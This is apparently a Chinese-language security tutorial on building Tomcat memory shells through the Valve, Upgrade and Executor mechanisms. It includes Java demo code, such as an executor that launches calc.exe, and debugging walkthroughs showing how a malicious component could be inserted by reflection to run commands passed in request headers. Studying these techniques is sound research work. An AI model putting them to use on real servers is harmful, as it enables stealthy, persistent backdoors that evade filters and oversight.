继续开始我们的第二部分~
文章完整版已开源至Github
,觉得写的不错的话就给个star
吧~:
2.13 Tomcat Valve介绍与运行过程分析
2.13.1 Valve与Pipeline
在众多文章里面,下面的这篇我觉得是讲的最通俗易懂的,这里推荐给大家:
这里我组合引用原文,做了适当的修改,概括一下:
tomcat
中的Container
有4种,分别是Engine
、Host
、Context
和Wrapper
,这4
个Container
的实现类分别是StandardEngine
、StandardHost
、StandardContext
和StandardWrapper
。4
种容器的关系是包含关系,Engine
包含Host
,Host
包含Context
,Context
包含Wrapper
,Wrapper
则代表最基础的一个Servlet
。
tomcat
由Connector
和Container
两部分组成,而当网络请求过来的时候Connector
先将请求包装为Request
,然后将Request
交由Container
进行处理,最终返回给请求方。而Container
处理的第一层就是Engine
容器,但是在tomcat
中Engine
容器不会直接调用Host
容器去处理请求,那么请求是怎么在4
个容器中流转的,4个容器之间是怎么依次调用的呢?
原来,当请求到达Engine
容器的时候,Engine
并非是直接调用对应的Host
去处理相关的请求,而是调用了自己的一个组件去处理,这个组件就叫做pipeline
组件,跟pipeline
相关的还有个也是容器内部的组件,叫做valve
组件。
Pipeline
的作用就如其中文意思一样——管道,可以把不同容器想象成一个独立的个体,那么pipeline
就可以理解为不同容器之间的管道,道路,桥梁。那Valve
这个组件是什么东西呢?Valve
也可以直接按照字面意思去理解为阀门。我们知道,在生活中可以看到每个管道上面都有阀门,Pipeline
和Valve
关系也是一样的。Valve
代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。如果把Pipeline
比作公路的话,那么Valve
可以理解为公路上的收费站,车代表Pipeline
中的内容,那么每个收费站都会对其中的内容做一些处理(收费,查证件等)。
在Catalina
中,4
种容器都有自己的Pipeline
组件,每个Pipeline
组件上至少会设定一个Valve
,这个Valve
我们称之为BaseValve
,也就是基础阀。基础阀的作用是连接当前容器的下一个容器(通常是自己的自容器),可以说基础阀是两个容器之间的桥梁。
Pipeline
定义对应的接口Pipeline
,标准实现了StandardPipeline
。Valve
定义对应的接口Valve
,抽象实现类ValveBase
,4
个容器对应基础阀门分别是StandardEngineValve
,StandardHostValve
,StandardContextValve
,StandardWrapperValve
。在实际运行中,Pipeline
和Valve
运行机制如下图:
这张图是新加坡的Dennis Jacob
在ApacheCON Asia 2022
上的演讲《Extending Valves in Tomcat》中的PPT
中的图片,pdf
链接如下:
https://people.apache.org/~huxing/acasia2022/Dennis-Jacob-Extending-Valves-in-Tomcat.pdf
这篇演讲的录屏在Youtube
上面可以找到:
2.13.2 编写一个简单Tomcat Valve的demo
由于在Tomcat
环境下使用Valve还要配置web.xml,我嫌麻烦,于是直接使用SpringBoot
来搭建。记得这里勾选的是Spring Web
:
然后创建test
目录并在test
目录下创建两个文件,TestValve.java
:
package org.example.valvememoryshelldemo.test;
import java.io.IOException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import org.springframework.stereotype.Component;
@Component
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
response.getWriter().write("Valve 被成功调用");
}
}
还有TestConfig.java
:
package org.example.valvememoryshelldemo.test;
import org.apache.catalina.Valve;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class TestConfig {
@Bean
public WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() {
return factory -> {
factory.addContextValves(getTestValve());
};
}
@Bean
public Valve getTestValve() {
return new TestValve();
}
}
运行效果如下:
2.13.3 Tomcat Valve打入内存马思路分析
我们通常情况下用的都是ValveBase
,点进这个ValveBase
,可以看到是实现了Valve
接口:
点进valve
可以看到该接口代码如下,这里我加上了注释:
package org.apache.catalina;
import java.io.IOException;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
public interface Valve {
// 获取下一个阀门
public Valve getNext();
// 设置下一个阀门
public void setNext(Valve valve);
// 后台执行逻辑,主要在类加载上下文中使用到
public void backgroundProcess();
// 执行业务逻辑
public void invoke(Request request, Response response)
throws IOException, ServletException;
// 是否异步执行
public boolean isAsyncSupported();
}
接下来就是调试看看这个valve
的运行流程了,我们在invoke
函数这里下断点调试:
我们看向左下角,看看之前调用到的invoke
方法:
在StandardHostValve.java
中,代码为:
context.getPipeline().getFirst().invoke(request, response);
在StandardEngineValve.java
中,代码为:
host.getPipeline().getFirst().invoke(request, response);
之后的诸如Http11Processor.java
和多线程的部分就不需要我们关注了。既然我们的目的是打入内存马,那根据我们掌握的Tomcat Servlet/Filter/Listener
内存马的思路来看,我们需要通过某种方式添加我们自己的恶意valve
。
我们去掉之前打的断点,在StandardHostValve.java
这里打上断电并重新调试:
然后step into
:
鼠标左键单击这里的getPipeline
即可进入到所调用的函数实现的位置:
再Ctrl+H
进入Pipeline
接口,可以看到是有个addValve
方法:
这不正是我们需要的吗?我们去看看它是在哪儿实现的,直接在addValve
函数处Ctrl+H
找继承该接口的类,可可以看到是在org.apache.catalina.core.StandardPipeline
中:
但是问题就来了,我们无法直接获取到这个StandardPipeline
,而我们能直接获取到的是StandardContext
,那就去看看StandardContext.java
中有没有获取StandardPipeline
的方法。
一眼就能看到我们的老熟人——getPipeline
方法:
那这样以来我们的思路就可以补充完整了,先反射获取StandardContext
,然后编写一个恶意Valve
,最后通过StandardContext.getPipeline().addValve()
添加就可以了。当然,我们也可以反射获取StandardPipeline
,然后再addValve
,这样也是可以的。
2.14 Tomcat Upgrade介绍与打入内存马思路分析
2.14.1 编写一个简单的Tomcat Upgrade的demo
2.14.1.1 利用SpringBoot搭建
我这里在之前的Tomcat Valve
项目的基础上做了简单的修改,删除之前test
目录下的TestValve.java
,新建一个TestUpgrade.java
:
package org.example.valvememoryshelldemo.test;
import org.apache.coyote.*;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import org.springframework.context.annotation.Configuration;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
@Configuration
public class TestUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return "hello";
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapper, Adapter adapter, Request request) {
return null;
}
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("\n\nHello, this my test Upgrade!\n\n".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
然后修改TestConfig.java
如下:
package org.example.valvememoryshelldemo.test;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.stereotype.Component;
@Component
public class TestConfig implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {
@Override
public void customize(TomcatServletWebServerFactory factory) {
factory.addConnectorCustomizers(connector -> {
connector.addUpgradeProtocol(new TestUpgrade());
});
}
}
运行之后命令行执行命令curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080
,效果如下:
2.14.1.2 利用Tomcat搭建
当然也是可以利用Tomcat
来搭建的,只需要TestUpgrade.java
即可,因为里面含有定义的servlet
逻辑:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return null;
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
new MyUpgrade().accept(request1.getCoyoteRequest());
} catch (Exception ignored) {}
}
}
效果如下:
2.14.2 Tomcat Upgrade内存马介绍与相关代码调试分析
这部分主要参考了Sndav
师傅的文章(原文地址为https://tttang.com/archive/1709/
,但是由于图片链接挂掉导致图片无法显示,我们可以访问如下地址查看:https://web.archive.org/web/20220823040415/https://tttang.com/archive/1709/
)以及p4d0rn
师傅的文章(https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/upgrade
)。
和之前所提到的Spring Interceptor
型内存马有点类似,在渗透过程中,尽管我们打入了内存马,但是因为原有的Filter包含鉴权或者其他功能,可能会导致我们的内存马无法访问,或者因为反向代理而导致我们无法找到对应的路径,这就需要我们在到Filter
这一步之前就得打入内存马。
这里,我引用码哥字节文章(https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
)里面的一张Tomcat
架构图:
可以清楚地看到,在此之前还有Executor
和Processor
两个模块,本节内容主要讨论后者,在下节中我们会讨论前者。
这一部分需要更加完备的Tomcat
的相关知识,不再满足于之前的四个容器,关于这些基础知识的学习,强烈建议看码哥字节的文章,写的确实特别的好:
https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
其实在之前学习Tomcat Valve
的过程中,当时我是一步步step over
跟完了所有的代码的,我当时也提了一嘴Http11Processor
。我们还是以当时的项目为例来看。
我们还是在StandardHostValve.java
的这行打上断点:
从上面我红色箭头所指出的地方就可以看到调用到了process
函数,具体调用位置位于org.apache.coyote.AbstractProcessorLight#process
,我们跟过去看看:
可以看到,如果当前SocketWrapperBase
的状态是OPEN_READ
的时候,才会调用对应的processor
去处理(第二张图的process
调用的位置可以通过第一张图左下角的那个process
的后一个process
点进去看到):
我们继续step into
这里的service
方法看看:
继续step over
,可以看到这里在检查header
中的Connection
头中是否为upgrade
,这一点可以通过step into
这个isConnectionToken
方法看到:
之后干两件事情:一是调用getUpgradeProtocol
方法根据upgradedName
从httpUpgradeProtocols
拿到UpgradeProtocol
;二是调用UpgradeProtocol
对象的accept
方法:
到了这里,我们似乎可以建立起一个猜想,和之前介绍的内存马类似,我们只要构造一个恶意的UpgradeProtocol
,然后把它插入到httpUpgradeProtocols
。
由于httpUpgradeProtocols
是一个hashmap
,那么向里面添加的话用到的肯定是put
方法,直接搜httpUpgradeProtocols.put
:
我们在这行打上断点,然后调试,发现在我们没有执行curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080
这条命令之前,断点就到了,也就是说,httpUpgradeProtocols.put
这个事情是发生在tomcat
启动的时候的。
那这样一来,思路就更加具体了一点:反射找到httpUpgradeProtocols
,把恶意upgradeProtocol
插入进去即可构成upgrade
内存马,思路和之前是一模一样的。
那现在只需要解决最后一个问题——如何找到httpUpgradeProtocols
的位置。我们打开之前用tomcat
搭建的Tomcat Upgrade
的demo
,在如下位置打下断点,然后执行命令curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080/evil
进入断点调试::
step over
一步即可在下方看到request1
属性:
然后在request1
里面的connector
的protocolHandler
里面发现了httpUpgradeProtocols
:
接下来就是一步步地反射了。
2.15 Tomcat Executor内存马介绍与打入内存马思路分析
2.15.1
新建一个项目,配置好tomcat
运行环境和web
目录,然后新建以下两个文件,第一个是TestExecutor.java:
package org.example;
import java.io.IOException;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
public class TestExecutor extends ThreadPoolExecutor {
public TestExecutor() {
super(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<>());
}
@Override
public void execute(Runnable command) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
super.execute(command);
}
}
第二个是TestServlet.java
:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
TestExecutor executor = new TestExecutor();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
executor.execute(() -> {
System.out.println("Execute method triggered by accessing /test");
});
}
}
然后访问浏览器对应context
下的test
路由:
2.15.2 Tomcat Executor内存马介绍与代码调试分析
在2.14.2
节中,我们聊到过可以在Executor
模块中打入内存马,本节就来分析具体流程。本节主要参考文章为以下四篇:
https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/executor
在我之前提到过的讲tomcat架构的基础文章(https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
),有详细地讲述ProtocolHandler
组件中的EndPoint
部件,如果之前没有看完整地可以再去看下。里面这张图画的很好,我这里作引用:
2.15.2.1 Endpoint五大组件
如下表所示:
组件 | 描述 |
---|---|
LimitLatch |
连接控制器,控制最大连接数 |
Acceptor |
接收新连接并返回给Poller 的Channel 对象 |
Poller |
监控Channel 状态,类似于NIO 中的Selector
|
SocketProcessor |
封装的任务类,处理连接的具体操作 |
Executor |
Tomcat 自定义线程池,用于执行任务类 |
2.15.2.2 Endpoint分类
EndPoint
接口的具体实现类为AbstractEndpoint
,AbstractEndpoint
具体的实现类有AprEndpoint
、Nio2Endpoint
、NioEndpoint
:
Endpoint | 简要解释 | Tomcat 源码位置 |
---|---|---|
AprEndpoint |
使用APR 模式解决异步IO 问题,提高性能 |
org.apache.tomcat.util.net.AprEndpoint |
Nio2Endpoint |
使用代码实现异步IO
|
org.apache.tomcat.util.net.Nio2Endpoint |
NioEndpoint |
使用Java NIO 实现非阻塞IO
|
org.apache.tomcat.util.net.NioEndpoint |
上面所提到的tomcat
,指的是如下pom
依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
<version>9.0.83</version>
</dependency>
Tomcat
默认启动是以NioEndpoint
来启动的,它是Tomcat
中默认的负责使用NIO
方式进行网络通信功能的模块,它负责监听处理请求连接,并将解析出的字节流传递给Processor
进行后续的处理。
2.15.2.3 Executor相关代码分析
点开Executor.java
即可看到有一个execute
方法:
Ctrl+Alt+F7
追踪即可看到这个Executor
接口在AbstractEndpoint
这个抽象类中有相关实现:
在AbstractEndpoint.java
中搜索executor
,往下翻即可看到有setExecutor
和getExecutor
这两个函数:
查看getExecutor
函数的调用位置,发现就在该文件中有一个关键调用:
跟过去:
从下面这篇文章中我们可以知道processSocket
在Tomcat
运行过程中的作用:
那此时我们就有一个想法,如果我能控制executor
,我把原来的executor
通过setExecutor
变成我恶意创建的executor
,然后再通过这后面的executor.execute
(org.apache.tomcat.util.threads.ThreadPoolExecutor#execute(java.lang.Runnable)
)一执行就可以加载我们的恶意逻辑了。
但是现在有一个很头疼的问题,那就是标准的ServletRequest
需要经过Adapter
的封装后才可获得,这里还在Endpoint
阶段,其后面封装的ServletRequest
和ServletResponse
无法直接获取。
那怎么办呢?结合之前学过的知识,我们很容易想到在之前我们第一次接触java-object-researcher
的时候,c0ny1
师傅写的这篇文章:
http://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
那就试试看呗,我们导入jar
包到项目之后修改TestServlet.java
代码如下:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
TestExecutor executor = new TestExecutor();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
executor.execute(() -> {
System.out.println("Execute method triggered by accessing /test");
});
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("request").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
searcher.searchObject();
}
}
接着访问路由,然后在控制台输出中搜索request =
:
直接搜索到了这条链:
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [15] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>}
---> [java.nio.channels.SocketChannel[connected local=/0:0:0:0:0:0:0:1:8080 remote=/0:0:0:0:0:0:0:1:10770]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}
---> socket = {org.apache.tomcat.util.net.NioChannel}
---> appReadBufHandler = {org.apache.coyote.http11.Http11InputBuffer}
---> request = {org.apache.coyote.Request}
我们来验证一下,在org/apache/tomcat/util/net/NioEndpoint.java
的这里下断点,不断step over
,就可以找到这里的request
的位置:
点开这里的byteBuffer
,可以看到它是一个字节数组,右键找到View as ... String
即可变成字符串:
再点击上面我指出来的View Text
即可清楚看到具体内容:
这就意味着我们可以把命令作为header
的一部分传入,再把结果作为header
的一部分传出即可。
-
-
-